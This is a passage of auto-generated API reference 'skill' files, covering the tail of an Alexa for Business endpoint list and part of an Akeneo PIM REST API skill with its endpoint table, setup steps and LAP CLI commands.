| POST | /#X-Amz-Target=AlexaForBusiness.SendAnnouncement | Triggers an asynchronous flow to send text, SSML, or audio announcements to rooms that are identified by a search or filter. |
### #X-Amz-Target=AlexaForBusiness.SendInvitation
| Method | Path | Description |
|--------|------|-------------|
| POST | /#X-Amz-Target=AlexaForBusiness.SendInvitation | Sends an enrollment invitation email with a URL to a user. The URL is valid for 30 days or until you call this operation again, whichever comes first. |
### #X-Amz-Target=AlexaForBusiness.StartDeviceSync
| Method | Path | Description |
|--------|------|-------------|
| POST | /#X-Amz-Target=AlexaForBusiness.StartDeviceSync | Resets a device and its account to the known default settings. This clears all information and settings set by previous users in the following ways: Bluetooth - This unpairs all bluetooth devices paired with your echo device. Volume - This resets the echo device's volume to the default value. Notifications - This clears all notifications from your echo device. Lists - This clears all to-do items from your echo device. Settings - This internally syncs the room's profile (if the device is assigned to a room), contacts, address books, delegation access for account linking, and communications (if enabled on the room profile). |
### #X-Amz-Target=AlexaForBusiness.StartSmartHomeApplianceDiscovery
| Method | Path | Description |
|--------|------|-------------|
| POST | /#X-Amz-Target=AlexaForBusiness.StartSmartHomeApplianceDiscovery | Initiates the discovery of any smart home appliances associated with the room. |
### #X-Amz-Target=AlexaForBusiness.TagResource
| Method | Path | Description |
|--------|------|-------------|
| POST | /#X-Amz-Target=AlexaForBusiness.TagResource | Adds metadata tags to a specified resource. |
### #X-Amz-Target=AlexaForBusiness.UntagResource
| Method | Path | Description |
|--------|------|-------------|
| POST | /#X-Amz-Target=AlexaForBusiness.UntagResource | Removes metadata tags from a specified resource. |
### #X-Amz-Target=AlexaForBusiness.UpdateAddressBook
| Method | Path | Description |
|--------|------|-------------|
| POST | /#X-Amz-Target=AlexaForBusiness.UpdateAddressBook | Updates address book details by the address book ARN. |
### #X-Amz-Target=AlexaForBusiness.UpdateBusinessReportSchedule
| Method | Path | Description |
|--------|------|-------------|
| POST | /#X-Amz-Target=AlexaForBusiness.UpdateBusinessReportSchedule | Updates the configuration of the report delivery schedule with the specified schedule ARN. |
### #X-Amz-Target=AlexaForBusiness.UpdateConferenceProvider
| Method | Path | Description |
|--------|------|-------------|
| POST | /#X-Amz-Target=AlexaForBusiness.UpdateConferenceProvider | Updates an existing conference provider's settings. |
### #X-Amz-Target=AlexaForBusiness.UpdateContact
| Method | Path | Description |
|--------|------|-------------|
| POST | /#X-Amz-Target=AlexaForBusiness.UpdateContact | Updates the contact details by the contact ARN. |
### #X-Amz-Target=AlexaForBusiness.UpdateDevice
| Method | Path | Description |
|--------|------|-------------|
| POST | /#X-Amz-Target=AlexaForBusiness.UpdateDevice | Updates the device name by device ARN. |
### #X-Amz-Target=AlexaForBusiness.UpdateGateway
| Method | Path | Description |
|--------|------|-------------|
| POST | /#X-Amz-Target=AlexaForBusiness.UpdateGateway | Updates the details of a gateway. If any optional field is not provided, the existing corresponding value is left unmodified. |
### #X-Amz-Target=AlexaForBusiness.UpdateGatewayGroup
| Method | Path | Description |
|--------|------|-------------|
| POST | /#X-Amz-Target=AlexaForBusiness.UpdateGatewayGroup | Updates the details of a gateway group. If any optional field is not provided, the existing corresponding value is left unmodified. |
### #X-Amz-Target=AlexaForBusiness.UpdateNetworkProfile
| Method | Path | Description |
|--------|------|-------------|
| POST | /#X-Amz-Target=AlexaForBusiness.UpdateNetworkProfile | Updates a network profile by the network profile ARN. |
### #X-Amz-Target=AlexaForBusiness.UpdateProfile
| Method | Path | Description |
|--------|------|-------------|
| POST | /#X-Amz-Target=AlexaForBusiness.UpdateProfile | Updates an existing room profile by room profile ARN. |
### #X-Amz-Target=AlexaForBusiness.UpdateRoom
| Method | Path | Description |
|--------|------|-------------|
| POST | /#X-Amz-Target=AlexaForBusiness.UpdateRoom | Updates room details by room ARN. |
### #X-Amz-Target=AlexaForBusiness.UpdateSkillGroup
| Method | Path | Description |
|--------|------|-------------|
| POST | /#X-Amz-Target=AlexaForBusiness.UpdateSkillGroup | Updates skill group details by skill group ARN. |
## Common Questions
Match user requests to endpoints in references/api-spec.lap. Key patterns:
- "Create a #X-Amz-Target=AlexaForBusiness.ApproveSkill?" -> POST /#X-Amz-Target=AlexaForBusiness.ApproveSkill
- "Create a #X-Amz-Target=AlexaForBusiness.AssociateContactWithAddressBook?" -> POST /#X-Amz-Target=AlexaForBusiness.AssociateContactWithAddressBook
- "Create a #X-Amz-Target=AlexaForBusiness.AssociateDeviceWithNetworkProfile?" -> POST /#X-Amz-Target=AlexaForBusiness.AssociateDeviceWithNetworkProfile
- "Create a #X-Amz-Target=AlexaForBusiness.AssociateDeviceWithRoom?" -> POST /#X-Amz-Target=AlexaForBusiness.AssociateDeviceWithRoom
- "Create a #X-Amz-Target=AlexaForBusiness.AssociateSkillGroupWithRoom?" -> POST /#X-Amz-Target=AlexaForBusiness.AssociateSkillGroupWithRoom
- "Create a #X-Amz-Target=AlexaForBusiness.AssociateSkillWithSkillGroup?" -> POST /#X-Amz-Target=AlexaForBusiness.AssociateSkillWithSkillGroup
- "Create a #X-Amz-Target=AlexaForBusiness.AssociateSkillWithUser?" -> POST /#X-Amz-Target=AlexaForBusiness.AssociateSkillWithUsers
- "Create a #X-Amz-Target=AlexaForBusiness.CreateAddressBook?" -> POST /#X-Amz-Target=AlexaForBusiness.CreateAddressBook
- "Create a #X-Amz-Target=AlexaForBusiness.CreateBusinessReportSchedule?" -> POST /#X-Amz-Target=AlexaForBusiness.CreateBusinessReportSchedule
- "Create a #X-Amz-Target=AlexaForBusiness.CreateConferenceProvider?" -> POST /#X-Amz-Target=AlexaForBusiness.CreateConferenceProvider
- "Create a #X-Amz-Target=AlexaForBusiness.CreateContact?" -> POST /#X-Amz-Target=AlexaForBusiness.CreateContact
- "Create a #X-Amz-Target=AlexaForBusiness.CreateGatewayGroup?" -> POST /#X-Amz-Target=AlexaForBusiness.CreateGatewayGroup
- "Create a #X-Amz-Target=AlexaForBusiness.CreateNetworkProfile?" -> POST /#X-Amz-Target=AlexaForBusiness.CreateNetworkProfile
- "Create a #X-Amz-Target=AlexaForBusiness.CreateProfile?" -> POST /#X-Amz-Target=AlexaForBusiness.CreateProfile
- "Create a #X-Amz-Target=AlexaForBusiness.CreateRoom?" -> POST /#X-Amz-Target=AlexaForBusiness.CreateRoom
- "Create a #X-Amz-Target=AlexaForBusiness.CreateSkillGroup?" -> POST /#X-Amz-Target=AlexaForBusiness.CreateSkillGroup
- "Create a #X-Amz-Target=AlexaForBusiness.CreateUser?" -> POST /#X-Amz-Target=AlexaForBusiness.CreateUser
- "Create a #X-Amz-Target=AlexaForBusiness.DeleteAddressBook?" -> POST /#X-Amz-Target=AlexaForBusiness.DeleteAddressBook
- "Create a #X-Amz-Target=AlexaForBusiness.DeleteBusinessReportSchedule?" -> POST /#X-Amz-Target=AlexaForBusiness.DeleteBusinessReportSchedule
- "Create a #X-Amz-Target=AlexaForBusiness.DeleteConferenceProvider?" -> POST /#X-Amz-Target=AlexaForBusiness.DeleteConferenceProvider
- "Create a #X-Amz-Target=AlexaForBusiness.DeleteContact?" -> POST /#X-Amz-Target=AlexaForBusiness.DeleteContact
- "Create a #X-Amz-Target=AlexaForBusiness.DeleteDevice?" -> POST /#X-Amz-Target=AlexaForBusiness.DeleteDevice
- "Create a #X-Amz-Target=AlexaForBusiness.DeleteDeviceUsageData?" -> POST /#X-Amz-Target=AlexaForBusiness.DeleteDeviceUsageData
- "Create a #X-Amz-Target=AlexaForBusiness.DeleteGatewayGroup?" -> POST /#X-Amz-Target=AlexaForBusiness.DeleteGatewayGroup
- "Create a #X-Amz-Target=AlexaForBusiness.DeleteNetworkProfile?" -> POST /#X-Amz-Target=AlexaForBusiness.DeleteNetworkProfile
- "Create a #X-Amz-Target=AlexaForBusiness.DeleteProfile?" -> POST /#X-Amz-Target=AlexaForBusiness.DeleteProfile
- "Create a #X-Amz-Target=AlexaForBusiness.DeleteRoom?" -> POST /#X-Amz-Target=AlexaForBusiness.DeleteRoom
- "Create a #X-Amz-Target=AlexaForBusiness.DeleteRoomSkillParameter?" -> POST /#X-Amz-Target=AlexaForBusiness.DeleteRoomSkillParameter
- "Create a #X-Amz-Target=AlexaForBusiness.DeleteSkillAuthorization?" -> POST /#X-Amz-Target=AlexaForBusiness.DeleteSkillAuthorization
- "Create a #X-Amz-Target=AlexaForBusiness.DeleteSkillGroup?" -> POST /#X-Amz-Target=AlexaForBusiness.DeleteSkillGroup
- "Create a #X-Amz-Target=AlexaForBusiness.DeleteUser?" -> POST /#X-Amz-Target=AlexaForBusiness.DeleteUser
- "Create a #X-Amz-Target=AlexaForBusiness.DisassociateContactFromAddressBook?" -> POST /#X-Amz-Target=AlexaForBusiness.DisassociateContactFromAddressBook
- "Create a #X-Amz-Target=AlexaForBusiness.DisassociateDeviceFromRoom?" -> POST /#X-Amz-Target=AlexaForBusiness.DisassociateDeviceFromRoom
- "Create a #X-Amz-Target=AlexaForBusiness.DisassociateSkillFromSkillGroup?" -> POST /#X-Amz-Target=AlexaForBusiness.DisassociateSkillFromSkillGroup
- "Create a #X-Amz-Target=AlexaForBusiness.DisassociateSkillFromUser?" -> POST /#X-Amz-Target=AlexaForBusiness.DisassociateSkillFromUsers
- "Create a #X-Amz-Target=AlexaForBusiness.DisassociateSkillGroupFromRoom?" -> POST /#X-Amz-Target=AlexaForBusiness.DisassociateSkillGroupFromRoom
- "Create a #X-Amz-Target=AlexaForBusiness.ForgetSmartHomeAppliance?" -> POST /#X-Amz-Target=AlexaForBusiness.ForgetSmartHomeAppliances
- "Create a #X-Amz-Target=AlexaForBusiness.GetAddressBook?" -> POST /#X-Amz-Target=AlexaForBusiness.GetAddressBook
- "Create a #X-Amz-Target=AlexaForBusiness.GetConferencePreference?" -> POST /#X-Amz-Target=AlexaForBusiness.GetConferencePreference
- "Create a #X-Amz-Target=AlexaForBusiness.GetConferenceProvider?" -> POST /#X-Amz-Target=AlexaForBusiness.GetConferenceProvider
- "Create a #X-Amz-Target=AlexaForBusiness.GetContact?" -> POST /#X-Amz-Target=AlexaForBusiness.GetContact
- "Create a #X-Amz-Target=AlexaForBusiness.GetDevice?" -> POST /#X-Amz-Target=AlexaForBusiness.GetDevice
- "Create a #X-Amz-Target=AlexaForBusiness.GetGateway?" -> POST /#X-Amz-Target=AlexaForBusiness.GetGateway
- "Create a #X-Amz-Target=AlexaForBusiness.GetGatewayGroup?" -> POST /#X-Amz-Target=AlexaForBusiness.GetGatewayGroup
- "Create a #X-Amz-Target=AlexaForBusiness.GetInvitationConfiguration?" -> POST /#X-Amz-Target=AlexaForBusiness.GetInvitationConfiguration
- "Create a #X-Amz-Target=AlexaForBusiness.GetNetworkProfile?" -> POST /#X-Amz-Target=AlexaForBusiness.GetNetworkProfile
- "Create a #X-Amz-Target=AlexaForBusiness.GetProfile?" -> POST /#X-Amz-Target=AlexaForBusiness.GetProfile
- "Create a #X-Amz-Target=AlexaForBusiness.GetRoom?" -> POST /#X-Amz-Target=AlexaForBusiness.GetRoom
- "Create a #X-Amz-Target=AlexaForBusiness.GetRoomSkillParameter?" -> POST /#X-Amz-Target=AlexaForBusiness.GetRoomSkillParameter
- "Create a #X-Amz-Target=AlexaForBusiness.GetSkillGroup?" -> POST /#X-Amz-Target=AlexaForBusiness.GetSkillGroup
- "Create a #X-Amz-Target=AlexaForBusiness.ListBusinessReportSchedule?" -> POST /#X-Amz-Target=AlexaForBusiness.ListBusinessReportSchedules
- "Create a #X-Amz-Target=AlexaForBusiness.ListConferenceProvider?" -> POST /#X-Amz-Target=AlexaForBusiness.ListConferenceProviders
- "Create a #X-Amz-Target=AlexaForBusiness.ListDeviceEvent?" -> POST /#X-Amz-Target=AlexaForBusiness.ListDeviceEvents
- "Create a #X-Amz-Target=AlexaForBusiness.ListGatewayGroup?" -> POST /#X-Amz-Target=AlexaForBusiness.ListGatewayGroups
- "Create a #X-Amz-Target=AlexaForBusiness.ListGateway?" -> POST /#X-Amz-Target=AlexaForBusiness.ListGateways
- "Create a #X-Amz-Target=AlexaForBusiness.ListSkill?" -> POST /#X-Amz-Target=AlexaForBusiness.ListSkills
- "Create a #X-Amz-Target=AlexaForBusiness.ListSkillsStoreCategory?" -> POST /#X-Amz-Target=AlexaForBusiness.ListSkillsStoreCategories
- "Create a #X-Amz-Target=AlexaForBusiness.ListSkillsStoreSkillsByCategory?" -> POST /#X-Amz-Target=AlexaForBusiness.ListSkillsStoreSkillsByCategory
- "Create a #X-Amz-Target=AlexaForBusiness.ListSmartHomeAppliance?" -> POST /#X-Amz-Target=AlexaForBusiness.ListSmartHomeAppliances
- "Create a #X-Amz-Target=AlexaForBusiness.ListTag?" -> POST /#X-Amz-Target=AlexaForBusiness.ListTags
- "Create a #X-Amz-Target=AlexaForBusiness.PutConferencePreference?" -> POST /#X-Amz-Target=AlexaForBusiness.PutConferencePreference
- "Create a #X-Amz-Target=AlexaForBusiness.PutInvitationConfiguration?" -> POST /#X-Amz-Target=AlexaForBusiness.PutInvitationConfiguration
- "Create a #X-Amz-Target=AlexaForBusiness.PutRoomSkillParameter?" -> POST /#X-Amz-Target=AlexaForBusiness.PutRoomSkillParameter
- "Create a #X-Amz-Target=AlexaForBusiness.PutSkillAuthorization?" -> POST /#X-Amz-Target=AlexaForBusiness.PutSkillAuthorization
- "Create a #X-Amz-Target=AlexaForBusiness.RegisterAVSDevice?" -> POST /#X-Amz-Target=AlexaForBusiness.RegisterAVSDevice
- "Create a #X-Amz-Target=AlexaForBusiness.RejectSkill?" -> POST /#X-Amz-Target=AlexaForBusiness.RejectSkill
- "Create a #X-Amz-Target=AlexaForBusiness.ResolveRoom?" -> POST /#X-Amz-Target=AlexaForBusiness.ResolveRoom
- "Create a #X-Amz-Target=AlexaForBusiness.RevokeInvitation?" -> POST /#X-Amz-Target=AlexaForBusiness.RevokeInvitation
- "Create a #X-Amz-Target=AlexaForBusiness.SearchAddressBook?" -> POST /#X-Amz-Target=AlexaForBusiness.SearchAddressBooks
- "Create a #X-Amz-Target=AlexaForBusiness.SearchContact?" -> POST /#X-Amz-Target=AlexaForBusiness.SearchContacts
- "Create a #X-Amz-Target=AlexaForBusiness.SearchDevice?" -> POST /#X-Amz-Target=AlexaForBusiness.SearchDevices
- "Create a #X-Amz-Target=AlexaForBusiness.SearchNetworkProfile?" -> POST /#X-Amz-Target=AlexaForBusiness.SearchNetworkProfiles
- "Create a #X-Amz-Target=AlexaForBusiness.SearchProfile?" -> POST /#X-Amz-Target=AlexaForBusiness.SearchProfiles
- "Create a #X-Amz-Target=AlexaForBusiness.SearchRoom?" -> POST /#X-Amz-Target=AlexaForBusiness.SearchRooms
- "Create a #X-Amz-Target=AlexaForBusiness.SearchSkillGroup?" -> POST /#X-Amz-Target=AlexaForBusiness.SearchSkillGroups
- "Create a #X-Amz-Target=AlexaForBusiness.SearchUser?" -> POST /#X-Amz-Target=AlexaForBusiness.SearchUsers
- "Create a #X-Amz-Target=AlexaForBusiness.SendAnnouncement?" -> POST /#X-Amz-Target=AlexaForBusiness.SendAnnouncement
- "Create a #X-Amz-Target=AlexaForBusiness.SendInvitation?" -> POST /#X-Amz-Target=AlexaForBusiness.SendInvitation
- "Create a #X-Amz-Target=AlexaForBusiness.StartDeviceSync?" -> POST /#X-Amz-Target=AlexaForBusiness.StartDeviceSync
- "Create a #X-Amz-Target=AlexaForBusiness.StartSmartHomeApplianceDiscovery?" -> POST /#X-Amz-Target=AlexaForBusiness.StartSmartHomeApplianceDiscovery
- "Create a #X-Amz-Target=AlexaForBusiness.TagResource?" -> POST /#X-Amz-Target=AlexaForBusiness.TagResource
- "Create a #X-Amz-Target=AlexaForBusiness.UntagResource?" -> POST /#X-Amz-Target=AlexaForBusiness.UntagResource
- "Create a #X-Amz-Target=AlexaForBusiness.UpdateAddressBook?" -> POST /#X-Amz-Target=AlexaForBusiness.UpdateAddressBook
- "Create a #X-Amz-Target=AlexaForBusiness.UpdateBusinessReportSchedule?" -> POST /#X-Amz-Target=AlexaForBusiness.UpdateBusinessReportSchedule
- "Create a #X-Amz-Target=AlexaForBusiness.UpdateConferenceProvider?" -> POST /#X-Amz-Target=AlexaForBusiness.UpdateConferenceProvider
- "Create a #X-Amz-Target=AlexaForBusiness.UpdateContact?" -> POST /#X-Amz-Target=AlexaForBusiness.UpdateContact
- "Create a #X-Amz-Target=AlexaForBusiness.UpdateDevice?" -> POST /#X-Amz-Target=AlexaForBusiness.UpdateDevice
- "Create a #X-Amz-Target=AlexaForBusiness.UpdateGateway?" -> POST /#X-Amz-Target=AlexaForBusiness.UpdateGateway
- "Create a #X-Amz-Target=AlexaForBusiness.UpdateGatewayGroup?" -> POST /#X-Amz-Target=AlexaForBusiness.UpdateGatewayGroup
- "Create a #X-Amz-Target=AlexaForBusiness.UpdateNetworkProfile?" -> POST /#X-Amz-Target=AlexaForBusiness.UpdateNetworkProfile
- "Create a #X-Amz-Target=AlexaForBusiness.UpdateProfile?" -> POST /#X-Amz-Target=AlexaForBusiness.UpdateProfile
- "Create a #X-Amz-Target=AlexaForBusiness.UpdateRoom?" -> POST /#X-Amz-Target=AlexaForBusiness.UpdateRoom
- "Create a #X-Amz-Target=AlexaForBusiness.UpdateSkillGroup?" -> POST /#X-Amz-Target=AlexaForBusiness.UpdateSkillGroup
- "How to authenticate?" -> See Auth section
## Response Tips
- Check response schemas in references/api-spec.lap for field details
- Create/update endpoints typically return the created/updated object
## CLI
```bash
# Update this spec to the latest version
npx @lap-platform/lapsh get alexa-for-business -o references/api-spec.lap
# Search for related APIs
npx @lap-platform/lapsh search alexa-for-business
```
## References
- Full spec: See references/api-spec.lap for complete endpoint details, parameter tables, and response schemas
> Generated from the official API spec by [LAP](https://lap.sh)
Akeneo PIM REST API skill. Use when working with Akeneo PIM REST for api. Covers 137 endpoints.
---
name: lap-akeneo-pim-rest-api
description: "Akeneo PIM REST API skill. Use when working with Akeneo PIM REST for api. Covers 137 endpoints."
version: 1.0.0
generator: lapsh
metadata:
openclaw:
requires:
env:
- AKENEO_PIM_REST_API_KEY
---
# Akeneo PIM REST API
API version: 1.0.0
## Auth
ApiKey Authorization in header
## Base URL
http://demo.akeneo.com
## Setup
1. Set your API key in the appropriate header
2. GET /api/rest/v1/products-uuid -- verify access
3. POST /api/rest/v1/products-uuid -- create first products-uuid
## Endpoints
137 endpoints across 1 groups. See references/api-spec.lap for full details.
### api
| Method | Path | Description |
|--------|------|-------------|
| GET | /api/rest/v1/products-uuid | Get list of products |
| POST | /api/rest/v1/products-uuid | Create a new product |
| PATCH | /api/rest/v1/products-uuid | Update/create several products |
| POST | /api/rest/v1/products-uuid/search | Search list of products |
| GET | /api/rest/v1/products-uuid/{uuid} | Get a product |
| PATCH | /api/rest/v1/products-uuid/{uuid} | Update/create a product |
| DELETE | /api/rest/v1/products-uuid/{uuid} | Delete a product |
| POST | /api/rest/v1/products-uuid/{uuid}/proposal | Submit a draft for approval |
| GET | /api/rest/v1/products-uuid/{uuid}/draft | Get a draft |
| GET | /api/rest/v1/products | Get list of products |
| POST | /api/rest/v1/products | Create a new product |
| PATCH | /api/rest/v1/products | Update/create several products |
| GET | /api/rest/v1/products/{code} | Get a product |
| PATCH | /api/rest/v1/products/{code} | Update/create a product |
| DELETE | /api/rest/v1/products/{code} | Delete a product |
| POST | /api/rest/v1/products/{code}/proposal | Submit a draft for approval |
| GET | /api/rest/v1/products/{code}/draft | Get a draft |
| GET | /api/rest/v1/product-models | Get list of product models |
| POST | /api/rest/v1/product-models | Create a new product model |
| PATCH | /api/rest/v1/product-models | Update/create several product models |
| GET | /api/rest/v1/product-models/{code} | Get a product model |
| PATCH | /api/rest/v1/product-models/{code} | Update/create a product model |
| DELETE | /api/rest/v1/product-models/{code} | Delete a product model |
| POST | /api/rest/v1/product-models/{code}/proposal | Submit a draft for approval |
| GET | /api/rest/v1/product-models/{code}/draft | Get a draft |
| GET | /api/rest/v1/published-products | Get list of published products |
| GET | /api/rest/v1/published-products/{code} | Get a published product |
| GET | /api/rest/v1/media-files | Get a list of product media files |
| POST | /api/rest/v1/media-files | Create a new product media file |
| GET | /api/rest/v1/media-files/{code} | Get a product media file |
| GET | /api/rest/v1/media-files/{code}/download | Download a product media file |
| POST | /api/rest/v1/jobs/export/{code} | Launch export job by code |
| POST | /api/rest/v1/jobs/import/{code} | Launch import job by code |
| GET | /api/rest/v1/families | Get list of families |
| POST | /api/rest/v1/families | Create a new family |
| PATCH | /api/rest/v1/families | Update/create several families |
| GET | /api/rest/v1/families/{code} | Get a family |
| PATCH | /api/rest/v1/families/{code} | Update/create a family |
| DELETE | /api/rest/v1/families/{code} | Delete a family |
| GET | /api/rest/v1/families/{family_code}/variants | Get list of family variants |
| POST | /api/rest/v1/families/{family_code}/variants | Create a new family variant |
| PATCH | /api/rest/v1/families/{family_code}/variants | Update/create several family variants |
| GET | /api/rest/v1/families/{family_code}/variants/{code} | Get a family variant |
| PATCH | /api/rest/v1/families/{family_code}/variants/{code} | Update/create a family variant |
| GET | /api/rest/v1/attributes | Get list of attributes |
| POST | /api/rest/v1/attributes | Create a new attribute |
| PATCH | /api/rest/v1/attributes | Update/create several attributes |
| GET | /api/rest/v1/attributes/{code} | Get an attribute |
| PATCH | /api/rest/v1/attributes/{code} | Update/create an attribute |
| GET | /api/rest/v1/attributes/{attribute_code}/options | Get list of attribute options |
| POST | /api/rest/v1/attributes/{attribute_code}/options | Create a new attribute option |
| PATCH | /api/rest/v1/attributes/{attribute_code}/options | Update/create several attribute options |
| GET | /api/rest/v1/attributes/{attribute_code}/options/{code} | Get an attribute option |
| PATCH | /api/rest/v1/attributes/{attribute_code}/options/{code} | Update/create an attribute option |
| GET | /api/rest/v1/attribute-groups | Get list of attribute groups |
| POST | /api/rest/v1/attribute-groups | Create a new attribute group |
| PATCH | /api/rest/v1/attribute-groups | Update/create several attribute groups |
| GET | /api/rest/v1/attribute-groups/{code} | Get an attribute group |
| PATCH | /api/rest/v1/attribute-groups/{code} | Update/create an attribute group |
| GET | /api/rest/v1/association-types | Get a list of association types |
| POST | /api/rest/v1/association-types | Create a new association type |
| PATCH | /api/rest/v1/association-types | Update/create several association types |
| GET | /api/rest/v1/association-types/{code} | Get an association type |
| PATCH | /api/rest/v1/association-types/{code} | Update/create an association type |
| GET | /api/rest/v1/channels | Get a list of channels |
| POST | /api/rest/v1/channels | Create a new channel |
| PATCH | /api/rest/v1/channels | Update/create several channels |
| GET | /api/rest/v1/channels/{code} | Get a channel |
| PATCH | /api/rest/v1/channels/{code} | Update/create a channel |
| GET | /api/rest/v1/locales | Get a list of locales |
| GET | /api/rest/v1/locales/{code} | Get a locale |
| GET | /api/rest/v1/categories | Get list of categories |
| POST | /api/rest/v1/categories | Create a new category |
| PATCH | /api/rest/v1/categories | Update/create several categories |
| GET | /api/rest/v1/categories/{code} | Get a category |
| PATCH | /api/rest/v1/categories/{code} | Update/create a category |
| POST | /api/rest/v1/category-media-files | Create a category media file |
| GET | /api/rest/v1/category-media-files/{file_path}/download | Download a category media file |
| GET | /api/rest/v1/currencies | Get a list of currencies |
| GET | /api/rest/v1/currencies/{code} | Get a currency |
| GET | /api/rest/v1/measure-families | Get list of measure families (deprecated as of v5.0) |
| GET | /api/rest/v1/measure-families/{code} | Get a measure family (deprecated as of v5.0) |
| GET | /api/rest/v1/measurement-families | Get list of measurement families |
| PATCH | /api/rest/v1/measurement-families | Update/create several measurement families |
| GET | /api/rest/v1/reference-entities | Get list of reference entities |
| GET | /api/rest/v1/reference-entities/{code} | Get a reference entity |
| PATCH | /api/rest/v1/reference-entities/{code} | Update/create a reference entity |
| GET | /api/rest/v1/reference-entities/{reference_entity_code}/attributes | Get the list of attributes of a given reference entity |
| GET | /api/rest/v1/reference-entities/{reference_entity_code}/attributes/{code} | Get an attribute of a given reference entity |
| PATCH | /api/rest/v1/reference-entities/{reference_entity_code}/attributes/{code} | Update/create an attribute of a given reference entity |
| GET | /api/rest/v1/reference-entities/{reference_entity_code}/attributes/{attribute_code}/options | Get a list of attribute options of a given attribute for a given reference entity |
| GET | /api/rest/v1/reference-entities/{reference_entity_code}/attributes/{attribute_code}/options/{code} | Get an attribute option for a given attribute of a given reference entity |
| PATCH | /api/rest/v1/reference-entities/{reference_entity_code}/attributes/{attribute_code}/options/{code} | Update/create a reference entity attribute option |
| GET | /api/rest/v1/reference-entities/{reference_entity_code}/records | Get the list of the records of a reference entity |
| PATCH | /api/rest/v1/reference-entities/{reference_entity_code}/records | Update/create several reference entity records |
| GET | /api/rest/v1/reference-entities/{reference_entity_code}/records/{code} | Get a record of a given reference entity |
| PATCH | /api/rest/v1/reference-entities/{reference_entity_code}/records/{code} | Update/create a record of a given reference entity |
| POST | /api/rest/v1/reference-entities-media-files | Create a new media file for a reference entity or a record |
| GET | /api/rest/v1/reference-entities-media-files/{code} | Download the media file associated to a reference entity or a record |
| GET | /api/rest/v1/asset-families | Get list of asset families |
| GET | /api/rest/v1/asset-families/{code} | Get an asset family |
| PATCH | /api/rest/v1/asset-families/{code} | Update/create an asset family |
| GET | /api/rest/v1/asset-families/{asset_family_code}/attributes | Get the list of attributes of a given asset family |
| GET | /api/rest/v1/asset-families/{asset_family_code}/attributes/{code} | Get an attribute of a given asset family |
| PATCH | /api/rest/v1/asset-families/{asset_family_code}/attributes/{code} | Update/create an attribute of a given asset family |
| GET | /api/rest/v1/asset-families/{asset_family_code}/attributes/{attribute_code}/options | Get a list of attribute options of a given attribute for a given asset family |
| GET | /api/rest/v1/asset-families/{asset_family_code}/attributes/{attribute_code}/options/{code} | Get an attribute option for a given attribute of a given asset family |
| PATCH | /api/rest/v1/asset-families/{asset_family_code}/attributes/{attribute_code}/options/{code} | Update/create an asset attribute option for a given asset family |
| POST | /api/rest/v1/asset-media-files | Create a new media file for an asset |
| GET | /api/rest/v1/asset-media-files/{code} | Download the media file associated to an asset |
| GET | /api/rest/v1/asset-families/{asset_family_code}/assets | Get the list of the assets of a given asset family |
| PATCH | /api/rest/v1/asset-families/{asset_family_code}/assets | Update/create several assets |
| GET | /api/rest/v1/asset-families/{asset_family_code}/assets/{code} | Get an asset of a given asset family |
| PATCH | /api/rest/v1/asset-families/{asset_family_code}/assets/{code} | Update/create an asset |
| DELETE | /api/rest/v1/asset-families/{asset_family_code}/assets/{code} | Delete an asset |
| GET | /api/rest/v1/assets | Get list of PAM assets |
| POST | /api/rest/v1/assets | Create a new PAM asset |
| PATCH | /api/rest/v1/assets | Update/create several PAM assets |
| GET | /api/rest/v1/assets/{code} | Get a PAM asset |
| PATCH | /api/rest/v1/assets/{code} | Update/create a PAM asset |
| GET | /api/rest/v1/assets/{asset_code}/reference-files/{locale_code} | Get a reference file |
| POST | /api/rest/v1/assets/{asset_code}/reference-files/{locale_code} | Upload a new reference file |
| GET | /api/rest/v1/assets/{asset_code}/reference-files/{locale_code}/download | Download a reference file |
| GET | /api/rest/v1/assets/{asset_code}/variation-files/{channel_code}/{locale_code} | Get a variation file |
| POST | /api/rest/v1/assets/{asset_code}/variation-files/{channel_code}/{locale_code} | Upload a new variation file |
| GET | /api/rest/v1/assets/{asset_code}/variation-files/{channel_code}/{locale_code}/download | Download a variation file |
| GET | /api/rest/v1/asset-categories | Get list of PAM asset categories |
| POST | /api/rest/v1/asset-categories | Create a new PAM asset category |
| PATCH | /api/rest/v1/asset-categories | Update/create several PAM asset categories |
| GET | /api/rest/v1/asset-categories/{code} | Get a PAM asset category |
| PATCH | /api/rest/v1/asset-categories/{code} | Update/create a PAM asset category |
| GET | /api/rest/v1/asset-tags | Get list of PAM asset tags |
| GET | /api/rest/v1/asset-tags/{code} | Get a PAM asset tag |
| PATCH | /api/rest/v1/asset-tags/{code} | Update/create a PAM asset tag |
| GET | /api/rest/v1 | Get list of all endpoints |
| POST | /api/oauth/v1/token | Get authentication token |
| GET | /api/rest/v1/system-information | Get system information |
## Common Questions
Match user requests to endpoints in references/api-spec.lap. Key patterns:
- "Search products-uuid?" -> GET /api/rest/v1/products-uuid
- "Create a products-uuid?" -> POST /api/rest/v1/products-uuid
- "Create a search?" -> POST /api/rest/v1/products-uuid/search
- "Get products-uuid details?" -> GET /api/rest/v1/products-uuid/{uuid}
- "Partially update a products-uuid?" -> PATCH /api/rest/v1/products-uuid/{uuid}
- "Delete a products-uuid?" -> DELETE /api/rest/v1/products-uuid/{uuid}
- "Create a proposal?" -> POST /api/rest/v1/products-uuid/{uuid}/proposal
- "List all draft?" -> GET /api/rest/v1/products-uuid/{uuid}/draft
- "Search products?" -> GET /api/rest/v1/products
- "Create a product?" -> POST /api/rest/v1/products
- "Get product details?" -> GET /api/rest/v1/products/{code}
- "Partially update a product?" -> PATCH /api/rest/v1/products/{code}
- "Delete a product?" -> DELETE /api/rest/v1/products/{code}
- "Create a proposal?" -> POST /api/rest/v1/products/{code}/proposal
- "List all draft?" -> GET /api/rest/v1/products/{code}/draft
- "Search product-models?" -> GET /api/rest/v1/product-models
- "Create a product-model?" -> POST /api/rest/v1/product-models
- "Get product-model details?" -> GET /api/rest/v1/product-models/{code}
- "Partially update a product-model?" -> PATCH /api/rest/v1/product-models/{code}
- "Delete a product-model?" -> DELETE /api/rest/v1/product-models/{code}
- "Create a proposal?" -> POST /api/rest/v1/product-models/{code}/proposal
- "List all draft?" -> GET /api/rest/v1/product-models/{code}/draft
- "Search published-products?" -> GET /api/rest/v1/published-products
- "Get published-product details?" -> GET /api/rest/v1/published-products/{code}
- "List all media-files?" -> GET /api/rest/v1/media-files
- "Create a media-file?" -> POST /api/rest/v1/media-files
- "Get media-file details?" -> GET /api/rest/v1/media-files/{code}
- "List all download?" -> GET /api/rest/v1/media-files/{code}/download
- "Search families?" -> GET /api/rest/v1/families
- "Create a family?" -> POST /api/rest/v1/families
- "Get family details?" -> GET /api/rest/v1/families/{code}
